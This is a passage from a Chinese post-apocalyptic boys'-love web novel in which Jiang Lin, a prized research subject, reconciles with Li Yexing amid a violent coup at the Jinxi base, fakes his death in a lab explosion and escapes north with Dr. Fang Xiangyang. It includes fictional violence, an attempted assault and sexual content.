周扬见他如此气势汹汹眉头缓缓一挑,不等他说话,旁边的实验室首席研究员率先开口,是个不怒自威的中年人:“样本想要逃走,自然需要注射一些镇静剂,而且他的数据实时反映在仪器中,精确到了小数点后两位” “人给你,你真的研究得明白吗?”方向阳看向说话的人,用毫无波澜的语气说着最嘲弄的话:“偷了我的数据,最终的治疗试剂那么劣质也敢投入市场,催化细胞再生比例仅为百分之十,江林在你手上也是浪费。” 周扬看着两人的谈话,视线着重落在方向阳身上,这个方博士是李野行推荐的人,他理所当然排除在外,但如果能力强,也不是不能谈。 “方博士,这个数据和方案是你给出来的?”周扬让助理将那份报告给方向阳,方向阳看着自己的初级报告。 “只是我的一份初级报告。”方向阳面无表情地说道。 “这样啊,如果我把江林给你,你有把握提取研究出净化A病毒的物质吗?”周扬语气还算温和。 方向阳扫了一眼昏迷的江林,表情有些不耐烦:“他的身体里有这种物质,但却不能直接适用于人体,我想你们已经抽过他的血喂给变异人了吧,毫无反应,对吧。江林给你实验室这些连作业都不会抄的人研究,就算过个二十年,病毒发生再次变异他们都研究不出来。” 这话把他身后的人全部得罪了个遍,顿时觉得不服气,叫嚷起来。 “狂什么啊?” “有什么好嚣张的?” “不会真的以为自己很厉害了吧。” 方向阳看着周扬,语气冷淡又镇定:“江林交给我,最多两年。” 周扬轻轻鼓起掌来,笑容在脸上绽放,“好好好,不愧是鬼眼博士,人我可以给你,但你要保证所有的数据公开透明,实时反馈给我。” “可以。”方向阳点头,旋即看向悬在空中已经睁开双眼的江林,他蓝色的眼睛正静静看着他,嘴边浮动着细小的泡沫,像吐泡泡的小鱼。 “可以把他放下来了吗?” 尽管很多人都非常不满,但不敢忤逆周扬,眼睁睁看着江林药罐中的药水被抽干。 他身体的肌肤像是美人鱼般泛着晶莹的光芒,众目睽睽之下原本只是好奇的眼神也有了一丝变化,那样漂亮的身体,心思纯洁的人只会觉得圣洁美丽,而思想污秽之人就会产生一些不好的想法。 美丽雪白的身体如果染上斑驳的污秽,将高岭之花拉入神坛的邪恶欲望,映照着众人的心思。 方向阳脱下白大褂盖在江林身上,江林趴在地上,轻咳着鼻腔的水,白发滴着水,眼圈红红,身形单薄,好不可怜。 “能不能自己站起来?”方向阳蹲下身问他。 “没有力气。”江林摇了摇头,浑身生不出一丝力气,他们给他注射了大量的镇静剂和安眠药,只是因为身体异能所以能这么早醒来。 方向阳便将他抱起来,白大褂裹住他的身体,只露出一小截纤细白皙的小腿,交叠在一起,脚趾紧张地蜷缩起来,脸埋进了方向阳怀里。 方向阳在所有人面前带走了这个最完美的实验体。 周扬看着两人消失的背影,脸上的笑容消失不见,出现几分上位者的薄凉,“在座的各位都签订了保密协议,江林的特殊谁敢说出去半个字,就当是自愿成为病毒实验体。” 病毒实验体顾名思义,就是养育病毒的培养皿,金溪基地会招募志愿者成为实验体,给予志愿者家人足够多的保护和物资。 这种实验体一般有去无回,死都是最轻松的结果。 两人回到自己住处,江林手抱着方向阳的脖子:“我的实验报告怎么会在他们手上?我是不是要死了?” “还有他们说我能净化病毒是什么意思?我真的可以吗?” 方向阳耳朵被吵得嗡嗡作响,他能确定自己的报告绝对没有其他人能拿到过。他第一反应有怀疑过江林,但又觉得这个可能性不大,毕竟暴露身体的特殊对于江林来说没有任何好处。 末世期间他的结局最大的可能就是成为被压榨致死的实验样本。 “没事,你不会死。”方向阳将人放在他自己床上,然后换了一套衣服,才回到江林房间。 “事情暴露就比较棘手了,你再也不可能出基地了。”他们绝对不可能再让江林暴露在危险中。 “那我被用于人体实验,就是给我身体里注射各种奇怪的东西吗?”江林抓紧他的外套,浑身很防备。 “这种可能无法避免,比如说我给你准备的提升异能的试剂,就需要在你身上实验,以保证最好的效果。”方向阳的手腕上的仪器又开始震动。 “我很害怕,他们先抓着我,把我绑在床上,抽了我好多血。”江林伸出自己的手臂,臂弯上有几个青紫色的针孔。 “博士,你抱抱我吧。”江林提出要求,像个被遗弃在下雨天的小猫,打湿了毛发冷得瑟瑟发抖。 方向阳没动,江林主动扑进他的怀里,双臂环着他的脖颈。男人几不可察地拧了下眉,他这衣服算是又白换了。 “我不怪你数据泄露,可是我真的有点害怕,方向阳”江林下巴靠在他肩膀上,没叫什么方博士,表情没有任何的害怕,语气倒是越来越瑟缩战栗了:“如果我真的能够拯救人类,我也愿意的,但就是怕疼。” “倒也不必将自己看得这么重要,如果末世能因为你而结束,那你也算是千古留名,没什么遗憾的了。”方向阳双臂撑在身后,冷冷淡淡的语气说出这种话,真的有些冷幽默的潜质。 “如果我能千古留名,你也一定可以,只有你能研究我,然后制出最厉害的解药。”江林湿辘辘的头发在他耳尖扫过,身上还穿着他的衣服,身体也在不老实地蹭着。 方向阳从前没有感觉,现在倒是觉得和江林说话的确比其他人有意思,尽管他从未想过自己留什么名,只想做自己感兴趣的事情。 “还要抱多久?”方向阳开口,他还有很多事情没做。 “不用太久了。”江林松开抱着他的胳膊,支起身体看着他,漂亮如同蓝宝石般的双眼直勾勾看着他,湛蓝冷静,湿红的眼眶又显得极为委屈可怜。 然后江林猝不及防地亲了一下方向阳薄薄的嘴唇,印在他唇上,雪色睫毛微微一抬,和他灰色的眼瞳对上,目光相撞,呼出的气息都是湿润的,鼻梁擦过他的眼镜。 “今天谢谢你,如果不是你,我不知道会遭遇什么”江林松开他,真诚地说道。 方向阳眉头缓缓皱起,冷冷淡淡地问他:“谁告诉你谢人的方式是亲吻?” 江林脸颊一下就臊了起来,紧张地咽了咽口水,抱着他的手都滑了一下,找借口说:“李野行告诉我的。” “自己下去。”方向阳说。 “哦。”江林从他腿上爬回自己床上,盖上自己的被子,欲盖弥彰地合上双眼,“我想我大概要睡一觉才能恢复精神,再见了方博士。” 方向阳没回答他的话,眉头紧皱地起身离开他的房间。 在这之后,江林感觉自己不管在哪,都置身于别人的视线之中,那种隐私被剥夺的赤/裸感,他当作没发现,依旧四平八稳地遵从自己的习惯。 只是去地上城医院的时间更少了,因为就算去了也没事做,那些受伤的可能携带危险的人根本就送不到他面前,还不如不去,浪费时间。 石欢姐弟来找过他一次,被他勒令不要再来,如果有事他会直接联系他们。 江林被要求做的事情更多了,被抽血只是常事,还被要求注射各种乱七八糟的试剂,这是硬性要求的,但这些试剂都会经过方向阳严格检查确定不会对他的身体造成破坏才准许注入。 “感觉怎么样?”方向阳站在他身边,垂眼看着躺在实验床的少年。 江林眨了眨眼睛,摇了摇头:“没什么反应。” “哦,感觉浑身缓缓的,还挺舒服的。” 方向阳猝不及防又在江林面前自残了,手背上毫不留情狠狠划出的一道血痕。江林连忙握住他的手,责怪的声音还没说出口,就被惊讶吞没了:“你干什咦?!” 只见他的异能才刚刚释放,方向阳的伤口愈合了。 江林瞪圆了双眼,惊讶地看着他:“我的妈呀” “药效不错。”方向阳见状点了点头,肯定了效果,“李野行前些天带回来的变异人中有一个是治愈系的,你们两的适配度不错。你今天晚上可能会有些发热不舒服,正常现象,你不用大惊小怪。” “嗯嗯嗯!!”江林狠狠点头,嘴角的笑容压都压不住,至于李野行是谁?不知道啊。 李野行回来之后在医院躺了一星期,身体受损严重,将近一个多月没见着江林,说实话他想得很。但又不想自己的惨状被他看见,便忍住自己的思念。 他每天都要应付很多心怀不轨的人,住院也不得安生,目前还不知道江林已经被监视了。 灯光黯淡,玻璃窗外漆黑一片,雨滴先是一颗两颗地砸在窗户上,渐渐地越下越大,杂乱无序的噪音响起,风雪交加,屋内却热得让人发狂。 “哈”江林一脚踹开了被子,拿着旁边准备的冰袋敷在自己的脖子上,浑身滚烫一片,像是高烧不退的患者。 方向阳说会热会难受,没想到这么难受,浑身疼得像是肌肉在撕扯,肌肤滚烫一片,宛如身在烈火中焚烧,这就是方向阳说的有些发热不舒服?! “啊”江林脑袋也晕乎乎的,眼前的画面都在轻轻地晃荡,天旋地转的,连有人进入他的房间都毫无察觉,轻轻抠着自己手腕的肌肤。 当有人压在他身上的时候,他才察觉一丝危险,嘴被人用力握住,江林模糊的视线中看见一个陌生的脸庞,好像是研究员之一。 “操了,别喊了!哥哥好好疼你。”这人自从那天见过江林的身体,便一直念念不忘,每天梦里都是少年漂亮的身体,被折叠成柔软的弧度,他为所欲为 江林浑身难受,却也不肯受制于人,抬脚踹过去,被那人用手压住,手摸到他腰上。他呜呜两声,水光潋滟的眸中闪过寒光,伸手抓住枕头下的枪,催动精神力,下一瞬眼前一片亮光,江林手一松。 方向阳听见声响过来查看,就看见眼前这一幕,江林含泪的眼看着他,带着求助的目光。 而行凶的歹人似乎也没想到是这种情况,他明明在江林晚上喝的水中下了昏迷发/情的药 为什么他没有昏迷? 那人被抓包了,下意识地捂着脸,要往外跑,方向阳抓住他的手臂,手轻轻在他眼前晃动了一瞬,他便没了气息,无声无息地死在地上。 江林哈着热气,疼痛欲裂,说话声气虚无力:“好难受” 方向阳查看了一下他的情况,能够把情况猜到十之八九,“你先待着,我给你去找药。” 江林泪眼汪汪地点头,身躯弓起,蜷缩成一团。 方博士的一颗药丸下肚,江林的症状减轻了很多,就算中春/药也再也不怕了。 但身体依旧不适,骨头酸胀,他抓着方向阳的衣袖,迷迷糊糊说了很多话,具体想起来却毫无印象 江林再次看见李野行是在三天后,他又被“请”到了周扬的会客厅,身上的所有攻击性的武器都被收走了。 “来,江医生坐吧。”周扬依旧准备了一桌子菜给他,做了一个请的手势。 正是中午,雪好不容易停下来,雨过天晴的爽朗感觉,尽管周扬脸上是毫无破绽的笑容,可是江林笑不出来。 比上次更多的守卫,身上的气息明显比上次更加强大恐怖。 “你这些天都在研究室,想来也觉得无趣乏味了,今天让你见见老朋友怎么样?”周扬举起高脚杯,里面是醒好的红酒。 江林先默默填饱肚子,垂着眼,眼底一片冷淡,周扬的声音在耳畔响起:“要我说你这个好朋友是极有野心的,不过短短几月,就想要将我这么多年的心血推翻呢。” “他还杀了我的儿子。” 江林眼皮一跳,咬断了虾头,吐在盘子里,继续听他细数李野行的恶行:“笼络我的人,组织异能者联盟,鼓动异能者独立,而我这个没有异能的领导者在他们嘴中便成为了废物。” “是啊,我们是被遗忘的人,是洪流中被抛弃的人。” 江林不置可否,在他看来周扬并不算好人,他明明是普通人,却用自己的权力苛责和他同样的普通人。他羡慕那些异能者,他不惜用以人体为研究样本,迫切地想要研究出激发异能的药物。 实验室最底层下面的隧道里,尸骸遍布,全部都是一些激发异能失败的实验体。 江林吃饱了,周扬也停止了他的指控,门从外面被打开,门口站着一群人。 江林抬眼看去,站在最前面的是穿着作战服的李野行,他手上提着枪,身姿挺拔,身形高大,在整个异能者群中也是鹤立鸡群的存在,桀骜不驯的表情,唇角泛着狂傲的笑。 李野行在看见江林的瞬间,唇角的笑意有一瞬间的紧绷,但并没有任何的表现。他从未在除别墅以外的地方对江林表现过任何的亲密,就是担心有心之人会拿江林作为要挟他的把柄。 如果不是因为那份报告,周扬不会注意到江林,也就不会调查到李野行的身上。 “哇哦。”李野行吐出嘴里的泡泡糖,脸上镇定无比,拿着枪的手却抖了一下。 “打扰基地长用餐了,我真该死啊。”李野行无视那些对准他们的枪,像进入自家家门一样熟练。 周扬温和一笑:“劳烦李队长大动干戈了,这是做什么?” “是这样的,上次我和基地长说的话,您考虑得怎么样了?”李野行自从进来之后没有看一眼江林。 江林头发又长了些,扎了马尾在背后,脸侧有散落的碎发,额前刘海细碎,露出漂亮的眼睛,他静默看着两个老狐狸对峙。 上次李野行直接和周扬说,想当一当这基地长。 他拒绝之后,李野行便杀了他儿子。 “李队长不先和朋友打一打招呼吗?”周扬面前的守卫拦在两人中间,严阵以待。 李野行挑眉看向他,又看了一眼江林,好笑地看着他:“周扬你老糊涂了吧,你觉得这样的烂好人会是我的朋友吗?就算是,你觉得靠着他,能救你今天的命吗?” 周扬眼底闪过轻笑,几乎已经笃定江林就是李野行的弱点了,“那就算我现在杀了他,你也不会有任何的犹豫是吗?” 周扬坐在椅子上,不动如山,手微微一晃,所有对准李野行一行人的枪头,全部朝向了江林。一声令下,他就会成为马蜂窝。 “既然毫无利用价值,那不如杀死算了,黄泉路太冷,也好给我做个伴。” 江林感觉自己背后守卫的枪怼到了他后脑勺上,他静静地看着李野行,他表情未变分毫,像是丝毫不受影响,只是那双眼越来越阴冷了。 李野行身后的彭晶、奎克等人却变了脸色,显然没想到周扬还有这一手。 他们既担心李野行不管不顾、一意孤行,又担心李野行真的心软,计划功亏一篑,让新加入的人心生不满。 “开枪。”周扬笑着下达命令。 “你他妈敢!”李野行表情瞬间阴沉下来,抬手便将拿枪指着江林的人爆头,其他人纷纷动起来,气氛一点就炸,然后被周扬一个手势止住了。 “看来李队长我们还是有可以谈判的余地对吗?”周扬撑着下巴,以胜利者的姿态。 江林冷眼看着被威胁的李野行,他像一只暴怒的狮子,脸上肌肉紧绷,咬着牙忍得辛苦,克制的怒火让人抓狂,恨不得亲手撕了周扬。 终于啊,惯会威胁别人的人,终究尝到了恶果。 常在河边走哪有不湿鞋。 “你想要干什么?”李野行第一次被人威胁,从前他没有什么在乎的东西,好似一批孤狼,所以不畏惧任何,没人能威胁拿捏他。 原来被人威胁的感觉这么憋屈。 气得想要吐血,却还要乖乖把血咽下去。 “第一呢,请李队长把枪扔在地上。”周扬慢条斯理地说道。 李野行没犹豫,哐当一声,直接把枪扔在地上。 “第二嘛,麻烦李队长跪下给我儿子磕几个头吧。” 这话一出,空气中越发凝固了,李野行这辈子还真没跪过谁,从来都是站着死,也不跪着活。 李野行表情突然都平静下来,视线和周扬冷酷的目光对上,从他眼中看出了戏谑和畅快。 旋即,他的目光看向江林,江林静静看着他,没有任何的表示,湛蓝的眸子只有极致的清冷,并未因为他的行为对他有任何的温柔。 李野行心脏一酸,质问自己这些行为真的有必要吗? “三、二”周扬没给他思考的时间。 李野行等不了了,左膝跪地,高大身躯缓缓落下,主动将自尊放在别人脚下践踏。 “老大”许时众人忍不住喊了一声,眼都红了,从未见过李野行这么狼狈服软的样子。 这一刻他们的尊严也像是落在了地上。 狂妄至极、狂傲不羁的恶犬终究还是因为心爱的主人匍匐在了地上。 第55章 如果要问李野行这是什么感觉, 就好像扒光了衣服被人观赏,毫无尊严可言,有一种被碾碎了骨头的钝痛感。 但也只是单膝跪下, 他抬眼看着周扬,半晌, 唇角勾起恶劣邪肆的笑,“你确定吗?我记得你好像不止一儿子。我这一跪下去,你可没有回头路了。” 周扬脸上的笑容僵在脸上, 儒雅的面皮彻底绷不住了,如果没有江林, 他根本不是李野行这个疯子的对手。 见他这般,李野行轻嗤一声,站直了身体,顺势有恃无恐拿起了地上的枪,仿佛刚刚示弱的李野行只是虚假的泡影。 只不过是李野行借机朝江林示弱的手段罢了。 “周扬。”李野行这次先发制人,越是这样越冷静:“江林确实是我喜欢的人, 你不可能拿他拿捏我一辈子, 你也还有家人和孩子以及你的心血。我不想和你闹得太僵, 我们各退一步,我带着人离开基地, 你把江林还给我。” “你觉得我会相信你吗?”周扬显然不会同意这个提议, “江林我不可能给你。” 不管出于什么原因。 李野行也不生气,像是刚刚下跪的人不是他,非常大度又气量地说道:“可以, 但你最少要让我单独和江林聊聊,我已经很久没见他了。” “可以。”周扬清楚地知道,利用江林让李野行自杀这是不现实的, 但只要将李野行赶出基地,他的目的也算是达到了。 他不相信李野行有能力冲破基地壁垒来杀掉他。 “江林身上植入了爆/炸装置,只要我想,他随时会死,限你明天天亮之前滚出金溪基地。” “你也不用担心江林,他是我的座上宾,我不会让他受到任何的委屈。” 其他人被赶到了院外,重重把守的保镖看着他们,他们倒是不怕,只是就这样未免太憋屈了。 “不是,我们真就这么算了?”新加入的异能者脸都憋红了。 “看不出来队长还是个痴情种啊?” “这么灰溜溜地走掉,我可干不了这事儿” 彭晶算是最为了解,声音很小:“少安毋躁,老大不可能这么算了。” 江林和李野行被带到了单独的房间,是一个十几平米的小房间,连窗户都没有,只有两把椅子和一张桌子。 李野行最先干的事情就是把监视器给砸了,随后凑到江林身前抓着他的手腕,眼神在他身上找爆/炸装置,江林一直沉默不语。 “你真是我祖宗,那狗屁装置在哪?”李野行将人按在椅子上坐好,自己半蹲在他跟前,手放在他膝盖上。 “我不用你管我。”江林避开视线,这个时候还在往李野行心口扎刀子:“现在如果我有武器,我一定会把匕首插进你的心脏里。” “嘶”李野行抓着他的手,气不过地在他手腕上咬了一口,很轻连牙印都没舍得留下:“你真的是小没良心的,要杀我也要有命才行啊,老子为了你差点跪了那傻逼,你一点不心软啊?” “”江林还是不说话,那什么爆/炸装置,早被方向阳换了,所以根本不存在。 “算了,反正不管有没有,那小子都没机会启动的。”李野行眼底闪过一丝冷冽,志在必得,他有办法让周扬无声无息、来不及操作就死去。 江林抽回自己的手,根本不待见他,李野行是个反骨仔,越是不让他碰,他越是要碰。 他死死拽着江林的手,放在嘴边狠狠亲了几下,“你还在因为那个死人和我犟?” “你这么久不见我,真的不想吗?” “不想。”江林睫毛垂着,到底没有伸手扇他,李野行心中一喜,只觉得江林就是心软了。 “那我想死你了。”李野行眼角眉梢都荡漾出好心情,表情都没那么凶了,给他捂着手。 江林手指攥了攥,视线终于落在李野行身上了,眼底也不再是纯粹的恨意,“你真的不用管我,我很好,他们不会杀我。” “因为他们还要拿我做实验。” 这话一出,李野行的笑容凝固在脸上,硬朗的五官越发凌厉冰冷:“你说什么?” 江林眼神有些闪烁,抓了抓自己的袖子,“他们会给我注射奇怪的东西,抽我的血,把我绑在试验台上” 他半真半假的告诉李野行。 “老子他妈的现在就去一枪崩了他。”李野行看他可怜模样顿时怒上心头,压不住弹夹里的子弹了。 “你别冲动。”江林拽了一下他,又松开手。 李野行胸膛起伏不定,气血翻涌,已经想过一百种弄死周扬的方法了。 “好江林,你别生我气了好不好。”李野行放软了语气,视线自下而上地看着他,露出一点不伦不类的可怜神情。 江林不说话,似乎真的有所松动。 李野行盯着那张日思夜想的脸,这么久不见头发都这么长了,垂着的睫毛轻轻地颤动着,殷红的嘴唇微微抿起,似乎在纠结。 他就知道江林是最心软好哄的。 李野行轻声哄着:“给我看看你哪里受伤了?” 江林默默挽起自己的袖子,因为他皮肤白,又容易留下痕迹,两天前的青紫都残留在手臂肌肤上,犹为触目惊心。 李野行咬了下牙,脸侧紧绷,轻轻凑上前亲了亲,声音低沉:“乖乖受苦了。” “以后我把周扬抓着给你玩儿,你想怎么弄他,就怎么弄。” 江林眼神微闪,看着低头亲吻臂弯的男人,粗粝的黑发摩擦着他的肌肤,手臂正轻轻环住他的腰,脸埋进了他腹部,他听见了李野行深深吸了一口气。 “你真的好香” 江林下一秒感觉到自己的身体悬空,然后屁股坐到了桌子上,李野行坐在他刚刚坐的椅子上,掀起眼皮看着少年。 “你干什么?”江林舔了舔唇,红润润、水亮亮的舌尖,滑过嘴唇,喉结轻轻滚动了一瞬,双眼不再冷漠。 李野行感觉自己好像重新活过来了,按下江林的后颈,仰头亲上去,轻声道:“让我亲一口?” “我知道你是精神系和治愈系双修,这次带回来的两个变异人差点要了我的命,在医院住了一星期才出院” 江林原本想拒绝,听到这又停止了动作,低下头和他接吻。 李野行做什么都凶,接吻也一样,先是试探性地吮一口他的嘴唇,触及到柔软的嘴唇之后,便用舌头撬开他的齿列,去勾江林的舌头,小小一截的舌头被他缠得没办法,只能轻轻探出口腔,回应着他的吻。 江林只是也吮了一下李野行的下唇,尝到了一点草莓泡泡糖的味道,李野行的手臂紧紧圈着他的腰,将人勒得喘不过来,手往他腰下探,见少年没阻止,更是兴奋得心脏差点从嗓子眼跳出来。 这种事情,在别人地盘更刺激些,他不打算停。 李野行松开他的唇,轻呼出一口气,那双凶狠的凤眼都软成了水,定定的看着脸红的少年,又自下而上的在他唇上狠嘬了一口。 “乖乖小兔子,让我咬一口?” 江林眼尾红了一处,眯着眼看他,抬手撩了一下额前挡住眼睛的碎发,露出一点光洁的额头,下巴微微扬起,喉结滚动了一瞬,李野行凑上前亲了亲喉结,声音更哑了:“乖乖” 他的眼睛带着干净的纯色,但偏偏他红肿的唇和此刻的场景是极为缠绵暧昧的,清纯和妩媚便交织在了一个人身上。 “嗯?”江林应了他一句,眼神轻飘飘落在他身上,似乎很好奇:“如果今天周扬一定要你跪,你会下跪吗?” 这话让李野行精神一激灵,闻到送命题的气息,唇角勾起一抹肆意的笑:“周扬不敢的。” “如果他坚持呢。”江林继续说,他现在双腿悬在空中,李野行在中间。 “不会。”李野行没有骗他,“我会打爆他的头。” “我死了也无所谓?”江林低声问他。 “我说过你不会死的。”李野行说。 江林只是似笑非笑地看了他一眼。 “我这辈子父母都没跪过,怎么可能真的跪他?”李野行抓着他的膝盖轻轻揉了一下。 “那如果我让你跪呢。”江林脱口说完这句话,有些难为情地咬了咬唇。 李野行差点怀疑自己的耳朵,这话完全不像是江林会说出来的话,他怔愣一瞬,像是做梦一样,一切都让他觉得不真实。 他旋即笑了起来,半点不生气:“倒是忘记了,我们乖乖最喜欢当主人,是1呢。” “没”江林脸更红了,觉得很羞耻般。 他又被李野行抱回凳子上坐好。 “看好了,江林。”李野行单膝下跪,心中还是有些许挣扎的,但想到江林都能原谅自己,当然要他更开心些。 “这辈子只跪你一个人,行不?你好好跟我过” 李野行环着他的腰,想要去亲江林的唇,发现距离不够,无奈地喊了一声:“乖乖?” 江林眨了眨眼,主动低下头,像是答应了他的追求,还轻声道:“那你以后不能发疯乱杀人了” “我都听你”李野行咬着他的唇。 江林耳边有细小的水声,脚轻轻翘起一点,无助地抬了抬又落在地上。李野行的后颈出现在他眼前,一截高高凸起的颈骨,他抬手在他凸出颈骨上按了按,轻轻撩着他粗粝的短发。 李野行依旧很凶,激得江林忍不住去扯他的头发,让他轻一些,最后结果于事无补,因为他的性子刻入了骨子里 “乖乖。”李野行又想来亲江林,江林这次偏开头,没和他接吻。 李野行好笑地看着他:“你连自己也嫌弃。” 江林揉了揉他的头发,抿唇不好意思地弯了弯嘴角,“还没好” “等下也帮我?”李野行问。 “不要,下次。”江林摇头,手指抹了抹他额前的汗:“不能待太久了。” “你倒是会占便宜啊。”李野行笑了。 江林等他低头的时候,眼角眉梢露出一点讥笑的神情,一闪而过,视线非常沉静,说实话他有些喜欢这个角度看人。 像是恶狗完全臣服的快感,他能居高临下地看人。 他们只能跪着说话,跪着乞求爱意,而不是高高在上的命令 李野行走出会客厅,看见他兄弟们的时候,喜上眉梢,嘴角压都压不住,他兄弟们在外面怨气冲天、满脸愤怒。 他这个队长倒是春光满面,半点看不出紧张的情绪,倒是让他们的愤怒显得非常的多余? 彭晶眼睛一转,问了一句:“老大和江医生和好了?” 李野行摸了摸自己红肿、酸胀的嘴唇,喉咙也是火烧火烧的,嗓音沙哑:“江林还不好拿捏?卖卖惨,就什么都答应了。” 他说得轻松又随意,完全忘记了刚刚跪在地上求了江林半天,江林才答应给他一点甜头吃吃。 “行了,先回去,今天晚上咱们再行动。” 江林慢悠悠回到实验室,身后还跟着人,直到他进入方向阳的实验室,他们守在门口,依旧没离开。 “方博士,今天实验室好像要大清扫,所以十点之后就不能留在这里咯。”江林提醒他。 方向阳拧了下眉:“有这个通知吗?” “有啊,就贴在门口,你今天还是回别墅睡吧,我到小张家去休息。” 小张是方向阳那位年纪轻的助理。 “行。”方向阳回答之后,又重新投入实验中 在金溪基地的居民,只觉得今晚格外地冷,寒风猎猎,街道上空无一人,黑暗中似乎有些人影攒动,但速度极快,仿佛一阵呼啸而过的风。 直到鸣笛声响起,在空中久久回旋,像是凄厉的鬼嚎,无人敢主动走出家门,末世之后,人人自危。 清冷的实验室内,只剩下江林忙碌的身影,以及门口看管他的两个异能者。他脚步无声,精神异能控制住门口的两人,手起刀落,只需三秒的时间,便划破了毫无防备两人的咽喉。 刀刃上反射着江林冷漠的脸,两个异能者顷刻间倒地,没了气息。 江林收起自己的匕首,转身便僵住了身体,不远处本应该离开的方向阳正静静看着他,镜片在光下反射出白镜,看不清眼镜下的神情。 他下一瞬将自己的作案工具藏了起来。 方向阳缓步朝着他走来,听不出喜怒的声音响起,“所以报告是你故意泄露的。” 这是肯定的语气。 “你故意支走所有人,是要逃吗?” 江林咬了咬唇,双眼瞬间便红了起来,紧张地看着他走过来。他意图解释:“方博士,我不想再被锁在这里了,也不想继续和李野行虚与委蛇,求你了,让我走吧” “如果我拦着你,你是不是要连着我一起杀死。”方向阳看着倒在地上的两具尸体,他忍不住皱起一点眉头,眼底闪过疑惑。 所以那个心软害怕的人,都是他的伪装? “不会的”江林摇头的瞬间,眼泪从眼眶掉了下来,哽咽地否认,又是方向阳熟悉的可怜模样 李野行抬脚踩在周扬的脑袋上,居高临下地看着他苟延残喘的样子,他军靴碾着他的脑袋,让他的五官在地上摩擦。 他轻笑一声:“周扬,你继续跟老子叫啊,敢让我下跪,你有这个命吗?” “嗯?”他蹲下身,将周扬的脑袋提溜起来,眯着眼危险地看着他:“你把我乖乖当实验体?” “你有种就杀了我。”周扬已经看不出人样,他说出的话也含糊不清。 “放心,你死不了,你不是喜欢拿人体做实验吗?那你就好好做。”李野行盯着他的眼睛,抬手割掉了他的耳朵,低声道:“你的家人也和你一样的待遇,送你们一家团聚。” 李野行手下有金属系异能者,能够控制有效地控制爆/炸,所以他才这么无所顾忌,现在只等实验室那边的好消息了。 他正在清理周扬的人,却瞧见许时急急忙忙跑过来,脸上表情难看,他声音颤抖:“不好了老大,实验室那边爆/炸了” 李野行身形晃了一瞬,伸手抓住许时的衣领,“你说什么?” “实验室那边爆/炸了,江医生没逃出来”许时艰难地重复。 “你他妈在说什么?怎么可能?”李野行嗤笑一声,掐着他的脖子,“你的眼睛瞎了就挖掉” 李野行一把推开他,开车冲到了面目全非的实验室,大火刚灭,里面躺着许多烧焦的尸体,已经看不清真面目。 他心脏揪着难受,明明白天还好好的,他把江林住的房间都清理出来了,是最好最大的那一间,他还找了一些漂亮的娃娃,乖乖会喜欢的。 他不会死的 彭晶刚刚在救火,旁边的李青青沉默地看着炸毁的实验室。 李野行来了之后,二话不说便冲了进去,里面有烧焦的尸体,也有一些炸毁的碎尸片,全部都面目全非。 彭晶看着他沉默地翻找,时间一点点过去,一向不可一世的老大此刻弯下了脊梁,他从未见李野行如此失态,甚至看见了几颗眼泪从脸颊滑落,砸在他脏污的手背上,他失去了力气,哀戚无声,悲伤压垮了他。 这是他第一次看见李野行哭。 这原本应该是李野行最幸福的日子,成功打下江山,获得美人。 现在江山还在,美人已逝。 这天此刻成为李野行最难过的日子。 所以从头到尾江林都没想过原谅李野行,白天种种就是故意给李野行希望,如果一直毫无希望没有得到过,那么失去倒也不会那么可怕。 但如果有了希望,有了美好憧憬,有了未来的向往,那么失去便变得极为沉重和难以接受。 李青青低声问彭晶:“石家姐弟也死了吗?” “听奎克说,今天他们两个特意来陪着江林的,没想到出了这种意外”许时叹了一口气,表情也很难受。 只有彭晶低下头,是他亲手送四人离开的。 第56章 车从基地通道冲出去的时候, 地平线亮起点点光亮,柔软的光晕从天边缓缓升起,晨光微稀, 却足够照亮前方的路。 江林在驾驶位上开车,副驾驶上坐着没什么表情的方向阳, 他没有阻拦江林出逃,而是选择和他一起。 后座上是正在安睡的石家姐弟,蜷缩在一起。 事情回到地下实验室内, 方向阳看着眼前难过的江林,对于他来说江林留下来才是最好的选择。金溪基地能给他一个安静的场所, 所有资源的倾斜,但江林就逃不开被利用的命运。 但 方向阳抬手递给他一瓶白色的药片,道:“掩盖你身体特殊的药物。” 江林水蓝色的眸子微微一怔,脸上绽放出漂亮的笑容,扑进方向阳怀里,紧紧抱住他, 轻声道:“谢谢你!” “让我跟你们一起走。”方向阳看着默默出现在身后的石欢姐弟, 只提出了这一个要求。 江林埋在他肩膀, 闷闷地点头。 四人一路向北,目标是北方四大基地。 江林几人真的非常容易陷入危险, 毕竟两个小孩, 一个医生,一个生物博士,能说上一句老弱病残, 都不是抗造的人。 他们遇见任何不对劲便绕道而行,不敢硬碰硬。 人员单薄,可没人伺候方向阳的洁癖, 相反每到一个地方,他都需要自己清理房间和客厅,总不能让两个瘦不拉几的小孩儿来照顾他吧。 至于江林倒是想帮忙,但总是让事情变得更加糟糕。 一路上倒是没撞见解决不了的危险 “老大,前面有人好像被变异狼群包围了,正躲在车里。”一行穿着联邦军服的军人,后面跟着大卡车,前后的装甲车护送着大卡车,里面是这次救助的普通人。 正在闭目养神的男人剑眉星目,眉梢轻轻蹙着,睁开一双沉稳的黑眸,头上戴着头盔,五官立体硬朗,只有言简意赅的三个字:“先救人。” 坚硬的车壁被狼撕咬撞击着,江林几人躲在车里,正在想办法脱困,就听见车外传来异响,紧接着变异狼吼叫声变得越发凄厉,转头看见穿着军服的变异者从车内蹦下来,驱赶狼群。 江林便带着石欢姐弟下车一起帮忙,他开枪瞄准变异狼的脑袋,狼有一米多高,獠牙尖锐,一双眼血红一片,嘴里流着涎水,攻击力极强,没退缩,慢慢地将他们包围住,想要咬下这片肥肉。 狼群蓄势待发,随着头狼的一声狼嚎纷纷冲向人群,江林眼神有些紧张,见机行事,当狼冲到他面前的时候,他动用精神系异能控制住它,旋即狠狠一刀砍掉它们的脑袋。 雷豹末世特调小队对付这些狼群并不吃力,只是他们既要防止狼群去攻击卡车里的普通人,又要对付变异狼,没有第一时间去帮江林。 旋即,便看见了很久都会印在他们心中的一幕。 少年穿着黑色皮衣外套,白色的发丝在空中飞舞飘动,在末世的炽阳下很难出现的雪色肌肤,让他五官像一个粉雕玉琢的雪色雕塑,在所有人中脱引而出。 他瞧着软,对上变异狼却毫不手软,干脆利落地下刀,血染红了他的手指。 他们从未见过这么漂亮的男孩儿,应该保护在温室中的娇花,却带着他长相不符的凶狠。 直到狼群被驱赶殆尽,江林才收起手中的武器,看向那群穿着整齐服装,身姿笔挺的男女。 他看见车上蓝天的标志,眼神轻轻闪动一瞬,唇角泛起一抹温和的笑容:“谢谢大家救命之恩。” 蓝天基地,末世之后,五大基地之一。 